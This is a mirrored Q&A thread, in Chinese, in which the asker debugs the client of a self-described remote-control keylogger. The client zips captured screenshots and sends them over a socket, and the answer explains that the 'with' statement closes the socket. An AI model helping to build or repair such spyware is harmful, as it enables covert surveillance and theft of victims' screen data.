【问题标题】:python socket [WinError 10038] an operation was attempted on something that is not a socketpython socket [WinError 10038] 尝试对不是套接字的东西进行操作
【发布时间】:2021-09-01 15:42:56
【问题描述】:

我正在编写一个带套接字的小型遥控键盘记录器... (客户端)每次执行 send_pictures_data(self,s_socket) 时,我在跳回主循环时都会收到此错误...文件传输工作正常,但我不知道为什么套接字在函数后损坏。非常感谢任何提示。 :)

    def send_pictures_data(self,s_socket):
        global i
        print("pictures")
        shutil.make_archive('pic'+str(i), 'zip', './screenshots/')
        #f = open('pic.zip','rb')
        #l = f.read(1024)
        #while (l):
           #s_socket.send(l)
           #print('Sent ',repr(l))
           #l = f.read(1024)
        #f.close()
        #s_socket.close()
        file_name = 'pic'+str(i)+'.zip'
        with s_socket,open(file_name,'rb') as f:
            

【问题讨论】:

  • 首先,你的问题主要是代码,很长的代码,可以的话尽量简化。第二 - 我们没有行号,也不知道您在说什么文件。尝试解决这个问题。

标签: python sockets


【解决方案1】:

您在send_pictures_data 中有with s_socket。 with 的作用是在代码块退出时自动关闭其所有元素。因此,当with 块结束时,套接字将被关闭。解决方案:从with 语句中删除s_socket

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2013-02-19
    • 1970-01-01
    • 1970-01-01
    • 2020-07-19
    • 2015-02-06
    • 1970-01-01
    • 2015-05-26
    • 2016-06-23
    相关资源
    最近更新 更多